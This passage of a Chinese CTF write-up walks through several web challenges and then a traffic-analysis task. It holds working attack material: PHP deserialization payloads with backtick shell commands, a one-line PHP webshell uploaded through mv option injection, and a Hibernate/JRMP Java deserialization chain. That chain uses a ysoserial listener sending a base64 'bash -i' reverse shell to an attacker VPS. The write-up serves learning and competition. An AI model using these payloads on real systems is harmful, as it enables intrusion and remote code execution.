可用字符 : a , b , d , g , i , j , k , l , m , p , q , r , s , u , v , x , y , z 以及符号 ( , ) , ; , / , * , ? , [ , ] , &amp;lt; , &amp;gt; , ` 等。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Payload 构造 :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;执行函数 :
我们需要一个函数来执行系统命令。 var_dump 是完美的候选者：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;包含字符: v , a , r , _ , d , u , m , p 。&lt;/li&gt;
&lt;li&gt;全部在允许列表中（注意 p 在 $blocked_a 中被禁，但在 $blocked_b 中只禁了 pa 和 php ，单独的 p 是允许的）。&lt;/li&gt;
&lt;li&gt;用法: var_dump(command) 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;系统命令 :
利用反引号 ` 执行 shell 命令。
目标是读取 /flag 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;读取命令 : cat 被禁 ( c , t )。替代方案： dd 。
&lt;ul&gt;
&lt;li&gt;dd 仅含 d ，允许。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;文件名 : /flag 被禁 ( f )。替代方案：通配符。
&lt;ul&gt;
&lt;li&gt;/[a-z]lag&lt;/li&gt;
&lt;li&gt;[ 和 ] 允许。&lt;/li&gt;
&lt;li&gt;a , z , l , g 允许。&lt;/li&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;允许。
最终 Payload :&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;}var_dump(`dd &amp;lt; /[a-z]lag`);/*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class FLAG
{
    private $a;
    protected $b;
    public function __construct($a, $b)
    {
        $this-&amp;gt;a = $a;
        $this-&amp;gt;b = $b;
    }
}

// 1. Check file details (is it a file? size?)
// ls -l /[a-z]lag*
$p1 = new FLAG(&apos;create_function&apos;, &apos;}var_dump(`ls -l /[a-z]lag*`);/*&apos;);
echo &quot;Payload 1 (ls -l):\n&quot; . urlencode(serialize($p1)) . &quot;\n\n&quot;;

// 2. Move to web root (assuming writable)
// mv /[a-z]lag* x
// Then user can access /x
$p2 = new FLAG(&apos;create_function&apos;, &apos;}var_dump(`mv /[a-z]lag* x`);/*&apos;);
echo &quot;Payload 2 (mv to x):\n&quot; . urlencode(serialize($p2)) . &quot;\n\n&quot;;

// 3. xxd (Hex dump)
// xxd /[a-z]lag*
$p3 = new FLAG(&apos;create_function&apos;, &apos;}var_dump(`xxd /[a-z]lag*`);/*&apos;);
echo &quot;Payload 3 (xxd):\n&quot; . urlencode(serialize($p3)) . &quot;\n\n&quot;;

// 4. xargs (Echo content)
// xargs -a /[a-z]lag*
$p4 = new FLAG(&apos;create_function&apos;, &apos;}var_dump(`xargs -a /[a-z]lag*`);/*&apos;);
echo &quot;Payload 4 (xargs):\n&quot; . urlencode(serialize($p4)) . &quot;\n\n&quot;;


&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;mv_upload&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;代码审计&lt;/strong&gt;： 在 index.php 中，上传的文件首先被放入临时目录 $uploadDir (/tmp/upload/)。 当用户点击“确认上传”时，服务器执行以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exec(&quot;cd $uploadDir ; mv * $targetDir 
2&amp;gt;&amp;amp;1&quot;, $output, $returnCode);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里使用了 mv &lt;em&gt;。在 Linux Shell 中，&lt;/em&gt; 会被展开为当前目录下所有的文件名。如果文件名以 - 开头，mv 命令会将其解析为参数（Option）而不是文件名。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;黑名单限制&lt;/strong&gt;： 代码中有一个很长的黑名单 $blacklist，禁止上传 php, phtml, php5 等常见后缀。但是，它&lt;strong&gt;没有&lt;/strong&gt;禁止 .ph 后缀。通常 .ph 文件不会被 Web 服务器解析为 PHP，但我们可以利用它作为中间跳板。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;利用思路&lt;/strong&gt;： 我们需要将一个包含 Webshell 的文件重命名为 .php 后缀，以便服务器解析执行。 利用 mv 命令的备份功能：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;--backup：如果目标文件已存在，则对目标文件进行备份。&lt;/li&gt;
&lt;li&gt;--suffix=SUFFIX：指定备份文件的后缀。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;核心逻辑&lt;/strong&gt;： 如果我们执行 mv --backup --suffix=p shell.ph /target/，且 /target/shell.ph 已经存在：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;mv 发现目标文件 /target/shell.ph 存在。&lt;/li&gt;
&lt;li&gt;它会将&lt;strong&gt;现有的&lt;/strong&gt; /target/shell.ph 备份为 shell.ph + p = shell.php。&lt;/li&gt;
&lt;li&gt;然后将新的 shell.ph 移动过去。 这样，我们就得到了一个名为 shell.php 的文件，其内容是之前上传的 Webshell。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;复现步骤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：上传 Webshell (shell.ph)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先上传一个名为 shell.ph 的文件，内容为 PHP 马。.ph 不在黑名单中，可以正常上传并移动到存储目录。此时服务器上存在 /var/www/html/upload/shell.ph，但无法执行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 本地创建 shell.ph
echo &quot;&amp;lt;?php system(\$_GET[&apos;c&apos;]); ?&amp;gt;&quot; &amp;gt; 
shell.ph
# 上传并确认移动
curl -F &quot;files[]=@shell.ph&quot; -F &quot;upload=1&quot; 
http://challenge.bluesharkinfo.com:28443/
curl -F &quot;confirm_move=1&quot; http://challenge.
bluesharkinfo.com:28443/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第二步：利用参数注入生成 .php 文件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;再次上传 shell.ph，同时上传两个特殊文件名的空文件：--backup 和 --suffix=p。 当服务器执行 mv * 时，命令展开为： mv --backup --suffix=p shell.ph /var/www/html/upload/ （注：Shell 展开通常按字母顺序，- 排在 s 前面，所以参数会正确生效）&lt;/p&gt;
&lt;p&gt;这将触发备份机制，将第一步上传的 shell.ph 重命名为 shell.php。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Bash
# 创建空文件作为参数
touch -- --backup
touch -- --suffix=p

# 同时上传三个文件：参数文件和触发碰撞的 shell.
ph
curl -F &quot;files[]=@--backup&quot; -F &quot;files[]
=@--suffix=p&quot; -F &quot;files[]=@shell.ph&quot; -F 
&quot;upload=1&quot; http://challenge.bluesharkinfo.
com:28443/

# 确认移动，触发命令执行
curl -F &quot;confirm_move=1&quot; http://challenge.
bluesharkinfo.com:28443/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第三步：执行命令获取 Flag&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;现在服务器上已经生成了 shell.php，可以直接访问并执行命令。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;http://challenge.bluesharkinfo.
com:28443/upload/shell.php?c=cat%20/flag&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Regretful_Deser&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1.1 逆向分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;拿到题目附件 &lt;code&gt;n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar&lt;/code&gt; 后，我们首先使用反编译工具（如 JD-GUI 或 IDEA）查看核心代码。&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;org.example.Main$EchoHandler&lt;/code&gt; 类中，我们发现了处理 HTTP 请求的核心逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public void handle(HttpExchange exchange) throws IOException {
    Headers headers = exchange.getRequestHeaders();
    String pass = headers.getFirst(&quot;Pass&quot;);

    // 关键点 1: 奇怪的逻辑校验
    if (!pass.equals(&quot;n1ght&quot;) &amp;amp;&amp;amp; pass.hashCode() == &quot;n1ght&quot;.hashCode()) {
        String echo = headers.getFirst(&quot;echo&quot;);
        byte[] data = Base64.getDecoder().decode(echo);

        // 关键点 2: 反序列化入口
        SecurityObjectInputStream ois = new SecurityObjectInputStream(new ByteArrayInputStream(data));
        ois.readObject();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;**1.2 绕过逻辑校验 **&lt;/p&gt;
&lt;p&gt;代码中存在一个典型的 Hash 碰撞检查：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;!pass.equals(&quot;n1ght&quot;)&lt;/code&gt;: 字符串不能是 &quot;n1ght&quot;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pass.hashCode() == &quot;n1ght&quot;.hashCode()&lt;/code&gt;: 字符串的 Hash 值必须等于 &quot;n1ght&quot; 的 Hash 值。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Java 的 &lt;code&gt;String.hashCode()&lt;/code&gt; 算法是固定的 (&lt;code&gt;s[0]*31^(n-1) + s[1]*31^(n-2) + ...&lt;/code&gt;)。我们编写脚本爆破出字符串 &lt;strong&gt;&quot;loght&quot;&lt;/strong&gt;，其 Hash 值与 &quot;n1ght&quot; 均为 &lt;code&gt;103149392&lt;/code&gt;，成功满足条件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.3 黑名单审计&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;代码使用了自定义的 &lt;code&gt;SecurityObjectInputStream&lt;/code&gt;，查看其源码发现它重写了 &lt;code&gt;resolveClass&lt;/code&gt; 方法，设置了黑名单：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String[] blacklist = new String[] {
    &quot;org.apache.commons.collections&quot;, // 封禁 CC 链
    &quot;javax.management.remote.rmi.RMIConnector&quot;,
    &quot;java.security&quot;,
    &quot;java.rmi.MarshalledObject&quot;,
    ...
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这意味着我们不能直接发送通用的 &lt;code&gt;CommonsCollections&lt;/code&gt; 利用链（如 CC1, CC6 等），因为它们会被直接拦截抛出异常。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.4 依赖分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;既然 CC 链被封，我们需要寻找其他的可用 Gadget。通过检查 Jar 包内的类文件（&lt;code&gt;strings&lt;/code&gt; 或解压查看），我们发现项目中包含了 &lt;strong&gt;Hibernate&lt;/strong&gt; 相关库 (&lt;code&gt;org.hibernate.*&lt;/code&gt;)。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;思路&lt;/strong&gt;: Hibernate 有一条经典的利用链，可以通过 &lt;code&gt;hashCode()&lt;/code&gt; 触发任意 Getter 方法的调用。如果我们将这个 Getter 指向一个 RMI 动态代理，就能触发远程类加载或二次反序列化。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 漏洞链详解&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;本次攻击使用了 &lt;strong&gt;&quot;Hibernate + JRMP (二次反序列化)&quot;&lt;/strong&gt; 的组合拳。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.1 第一阶段：触发链 (The Trigger)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;: 在反序列化 &lt;code&gt;HashMap&lt;/code&gt; 时，触发代码执行。
&lt;strong&gt;限制&lt;/strong&gt;: 必须绕过 &lt;code&gt;SecurityObjectInputStream&lt;/code&gt; 的黑名单。&lt;/p&gt;
&lt;p&gt;利用链流程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;入口&lt;/strong&gt;: &lt;code&gt;HashMap.readObject()&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HashMap&lt;/code&gt; 在反序列化时，会为了恢复哈希表结构，对每个 Key 调用 &lt;code&gt;hashCode()&lt;/code&gt; 方法。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;桥梁&lt;/strong&gt;: &lt;code&gt;TypedValue.hashCode()&lt;/code&gt; (Hibernate 类)
&lt;ul&gt;
&lt;li&gt;我们将 Key 设置为 &lt;code&gt;org.hibernate.engine.spi.TypedValue&lt;/code&gt; 对象。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TypedValue&lt;/code&gt; 包含一个 &lt;code&gt;Type&lt;/code&gt; 和一个 &lt;code&gt;Value&lt;/code&gt;。它的 &lt;code&gt;hashCode()&lt;/code&gt; 方法会调用 &lt;code&gt;value&lt;/code&gt; 的 HashCode。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;反射调用&lt;/strong&gt;: &lt;code&gt;GetterMethodImpl.get()&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Hibernate 的 &lt;code&gt;ComponentType&lt;/code&gt; 在计算 Hash 时，会通过 &lt;code&gt;PojoComponentTuplizer&lt;/code&gt; 获取属性值。&lt;/li&gt;
&lt;li&gt;最终会调用 &lt;code&gt;GetterMethodImpl.get()&lt;/code&gt;，该方法内部执行了 &lt;code&gt;method.invoke(target)&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RMI 触发&lt;/strong&gt;: &lt;code&gt;RemoteObjectInvocationHandler.invoke()&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;我们将 &lt;code&gt;Getter&lt;/code&gt; 的目标对象（target）设置为一个 &lt;strong&gt;动态代理 (Dynamic Proxy)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;这个代理对象封装了 &lt;code&gt;UnicastRef&lt;/code&gt;，指向攻击者的 VPS。&lt;/li&gt;
&lt;li&gt;当 &lt;code&gt;Getter&lt;/code&gt; 尝试调用代理对象的 &lt;code&gt;get&lt;/code&gt; 或 &lt;code&gt;list&lt;/code&gt; 方法时，代理会将其转发给 &lt;code&gt;RemoteObjectInvocationHandler&lt;/code&gt;，进而通过 &lt;code&gt;UnicastRef&lt;/code&gt; 发起 &lt;strong&gt;JRMP 协议&lt;/strong&gt; 的远程调用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;2.2 第二阶段：黑名单绕过 (The Bypass)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心原理&lt;/strong&gt;: 为什么这能绕过黑名单？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Client (Target)&lt;/strong&gt;: 发送 Hibernate 对象 -&amp;gt; 触发 RMI 连接 -&amp;gt; &lt;strong&gt;等待 Server 响应&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server (VPS)&lt;/strong&gt;: 收到连接 -&amp;gt; 发送恶意的 &lt;code&gt;CommonsCollections&lt;/code&gt; 序列化对象作为返回值。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Client (Target)&lt;/strong&gt;: 接收返回值 -&amp;gt; &lt;strong&gt;使用 Java 内部的 RMI 机制进行反序列化&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;: RMI 协议在接收远程方法返回值时，使用的是 Java 原生的序列化机制，&lt;strong&gt;并没有使用我们在 &lt;code&gt;EchoHandler&lt;/code&gt; 中定义的那个带黑名单的 &lt;code&gt;SecurityObjectInputStream&lt;/code&gt;&lt;/strong&gt;。因此，在这一步，我们可以自由地发送 &lt;code&gt;CommonsCollections&lt;/code&gt; 恶意对象，不再受黑名单限制。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.3 RCE&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;VPS 上的 &lt;code&gt;JRMPListener&lt;/code&gt; 返回一个封装了 &lt;code&gt;Runtime.exec(&quot;bash -i ...&quot;)&lt;/code&gt; 的 &lt;code&gt;CommonsCollections&lt;/code&gt; 对象（通常是 CC5 或 CC6，取决于 JDK 版本）。&lt;/li&gt;
&lt;li&gt;目标机器接收到这个对象后，在 RMI 内部反序列化过程中触发 &lt;code&gt;LazyMap&lt;/code&gt; 或 &lt;code&gt;TiedMapEntry&lt;/code&gt; 的逻辑，最终执行命令。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;3. 攻击复现&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.1 生成 Payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;GenPayload.java&lt;/code&gt; 生成第一阶段的 Hibernate Payload。这个 Payload 只是一个“引信”，它的唯一作用是让目标连接我们的 VPS。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 核心代码：将 RMI 代理伪装成 Hibernate 的数据对象
Object triggerObj = createActivatableRefProxy(vps_ip, vps_port); // RMI 代理
Object hibernatePayload = makeHibernatePayload(triggerObj);      // 包装进 TypedValue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3.2 架设恶意服务&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 VPS (47.x.x.x) 上：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;开启监听&lt;/strong&gt; (用于接收 Shell):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvvp 2223
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;开启 JRMP Listener&lt;/strong&gt; (用于发送真正的 CC Payload):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用 CommonsCollections5 适配 JDK 8
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections5 &apos;bash -c {echo,YmFzaCAtaSAXXXXXXXXXXXXjY2LzIyMjMgMD4mMQ==}|{base64,-d}|{bash,-i}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;3.3 发送攻击请求&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 Python 脚本发送请求，Header 设置如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Pass: loght&lt;/code&gt; (绕过 Hash 检查)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;echo: &amp;lt;Base64 Payload&amp;gt;&lt;/code&gt; (触发 Hibernate 链)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目标服务器反序列化 Header 中的 Payload -&amp;gt; 连接 VPS:2333 -&amp;gt; 下载并反序列化 CC Payload -&amp;gt; 执行 Bash 反弹 Shell -&amp;gt; VPS:2223 收到 Shell。&lt;/p&gt;
&lt;h1&gt;应急响应&lt;/h1&gt;
&lt;h2&gt;hacker&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;初步分析 ：
使用 tshark 查看流量包的协议层级，发现包含大量的 HTTP 流量。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;tshark -r hacker的流量.pcapng -q -z io,phs
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;定位关键行为 ：
题目描述黑客“写入了很多的垃圾用户(注册)”，这通常对应 HTTP POST 请求。我统计了所有 POST 请求的 URI：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;tshark -r hacker的流量.pcapng -Y &quot;http.request.method == POST&quot; -T fields -e http.request.uri | sort | uniq -c | sort -rn | head -n 10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果显示 /register.php 被请求了 161 次，远高于其他注册相关的接口。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;确定攻击者 IP ：
针对 /register.php 接口，统计发起请求的源 IP 地址：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;tshark -r hacker的流量.pcapng -Y &quot;http.request.method == POST &amp;amp;&amp;amp; http.request.uri == \&quot;/register.php\&quot;&quot; -T fields -e ip.src | sort | uniq -c | sort -rn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ tshark -r hacker的流量.pcapng -q -z io,phs

===================================================================
Protocol Hierarchy Statistics
Filter: 

frame                                    frames:76119 bytes:58554161
  eth                                    frames:76119 bytes:58554161
    ip                                   frames:75260 bytes:58486439
      udp                                frames:573 bytes:93760
        dhcp                             frames:16 bytes:5528
        ssdp                             frames:90 bytes:18774
        dns                              frames:261 bytes:27739
        ntp                              frames:42 bytes:3780
        nbns                             frames:89 bytes:9321
        nbdgm                            frames:13 bytes:2997
          smb                            frames:13 bytes:2997
            mailslot                     frames:13 bytes:2997
              browser                    frames:13 bytes:2997
        lsd                              frames:21 bytes:3738
        xml                              frames:30 bytes:20842
        mdns                             frames:5 bytes:543
        llmnr                            frames:6 bytes:498
      tcp                                frames:74661 bytes:58390591
        mysql                            frames:422 bytes:57902
        data                             frames:2 bytes:308
        nbss                             frames:38 bytes:4193
          smb                            frames:4 bytes:826
          data                           frames:1 bytes:171
        http                             frames:42660 bytes:25620392
          data-text-lines                frames:21267 bytes:17332273
          media                          frames:39 bytes:171078
          ocsp                           frames:12 bytes:8465
          urlencoded-form                frames:457 bytes:288747
          xml                            frames:23 bytes:17599
          mime_multipart                 frames:9 bytes:7490
            _ws.malformed                frames:5 bytes:4207
          json                           frames:23 bytes:15836
            data-text-lines              frames:1 bytes:708
          data                           frames:1 bytes:1076
          png                            frames:42 bytes:39908
        dcerpc                           frames:5 bytes:606
          oxid                           frames:2 bytes:288
        tls                              frames:1396 bytes:1766693
          tls                            frames:957 bytes:1417103
      igmp                               frames:14 bytes:780
      icmp                               frames:12 bytes:1308
    arp                                  frames:781 bytes:42162
    ipv6                                 frames:78 bytes:25560
      icmpv6                             frames:38 bytes:3020
      udp                                frames:40 bytes:22540
        xml                              frames:30 bytes:21442
        mdns                             frames:4 bytes:480
        llmnr                            frames:6 bytes:618
===================================================================
❯ 
tshark -r hacker的流量.pcapng -Y &quot;http.request.method == POST&quot; -T fields -e http.request.uri | sort | uniq -c | sort -rn | head -n 10
❯ tshark -r hacker的流量.pcapng -Y &quot;http.request.method == POST&quot; -T fields -e http.request.uri | sort | uniq -c | sort -rn | head -n 10
 161 /register.php
 117 /login.php
  78 /admin/settings.php
  12 /
   4 /xmlrpc/soapserver.php
   4 /xmlrpc/soap.php
   4 /xmlrpc/server.php
   4 /xmlrpc.php
   4 /xmlrpc.jsp
   4 /xmlrpc.aspx
❯ 
tshark -r hacker的流量.pcapng -Y &quot;http.request.method == POST &amp;amp;&amp;amp; http.request.uri == \&quot;/register.php\&quot;&quot; -T fields -e ip.src | sort | uniq -c | sort -rn
❯ tshark -r hacker的流量.pcapng -Y &quot;http.request.method == POST &amp;amp;&amp;amp; http.request.uri == \&quot;/register.php\&quot;&quot; -T fields -e ip.src | sort | uniq -c | sort -rn
 159 192.168.37.177
   2 192.168.37.3
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;tshark -r hacker的流量.pcapng -Y &quot;http.request.method == POST &amp;amp;&amp;amp; http.request.uri == \&quot;/register.php\&quot; &amp;amp;&amp;amp; ip.src == 192.168.37.177&quot; -T fields -e http.file_data | head -n 5
757365726e616d653d7a68616e6773616e3226656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d
757365726e616d653d7a68616e6773616e3226656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d
757365726e616d653d7a68616e6773616e3026656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d
757365726e616d653d7a68616e6773616e3126656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d
757365726e616d653d7a68616e6773616e3226656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;757365726e616d653d7a68616e6773616e3226656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d&quot; | xxd -r -p
username=zhangsan2&amp;amp;email=19884562%40qq.com&amp;amp;password=zhangsan123&amp;amp;confirm_password=zhangsan123&amp;amp;name=zhangsan1&amp;amp;gender=%E7%94%B7&amp;amp;birthday=2025-04-01&amp;amp;id_card=101120012520133401&amp;amp;phone=19985236457&amp;amp;address=%   
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;tshark -r hacker的流量.pcapng -Y &quot;http.request.method == POST &amp;amp;&amp;amp; http.request.uri == \&quot;/register.php\&quot; &amp;amp;&amp;amp; ip.src == 192.168.37.177&quot; -T fields -e text | grep &quot;username&quot; | head -n 5

tshark -r hacker的流量.pcapng -Y &quot;http.request.method == POST &amp;amp;&amp;amp; http.request.uri == \&quot;/register.php\&quot; &amp;amp;&amp;amp; ip.src == 192.168.37.177&quot; -T fields -e text | grep &quot;username&quot; | head -n 5
Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: &quot;username&quot; = &quot;zhangsan2&quot;,Form item: &quot;email&quot; = &quot;19884562@qq.com&quot;,Form item: &quot;password&quot; = &quot;zhangsan123&quot;,Form item: &quot;confirm_password&quot; = &quot;zhangsan123&quot;,Form item: &quot;name&quot; = &quot;zhangsan1&quot;,Form item: &quot;gender&quot; = &quot;男&quot;,Form item: &quot;birthday&quot; = &quot;2025-04-01&quot;,Form item: &quot;id_card&quot; = &quot;101120012520133401&quot;,Form item: &quot;phone&quot; = &quot;19985236457&quot;,Form item: &quot;address&quot; = &quot;&quot;
Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: &quot;username&quot; = &quot;zhangsan2&quot;,Form item: &quot;email&quot; = &quot;19884562@qq.com&quot;,Form item: &quot;password&quot; = &quot;zhangsan123&quot;,Form item: &quot;confirm_password&quot; = &quot;zhangsan123&quot;,Form item: &quot;name&quot; = &quot;zhangsan1&quot;,Form item: &quot;gender&quot; = &quot;男&quot;,Form item: &quot;birthday&quot; = &quot;2025-04-01&quot;,Form item: &quot;id_card&quot; = &quot;101120012520133401&quot;,Form item: &quot;phone&quot; = &quot;19985236457&quot;,Form item: &quot;address&quot; = &quot;&quot;
Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: &quot;username&quot; = &quot;zhangsan0&quot;,Form item: &quot;email&quot; = &quot;19884562@qq.com&quot;,Form item: &quot;password&quot; = &quot;zhangsan123&quot;,Form item: &quot;confirm_password&quot; = &quot;zhangsan123&quot;,Form item: &quot;name&quot; = &quot;zhangsan1&quot;,Form item: &quot;gender&quot; = &quot;男&quot;,Form item: &quot;birthday&quot; = &quot;2025-04-01&quot;,Form item: &quot;id_card&quot; = &quot;101120012520133401&quot;,Form item: &quot;phone&quot; = &quot;19985236457&quot;,Form item: &quot;address&quot; = &quot;&quot;
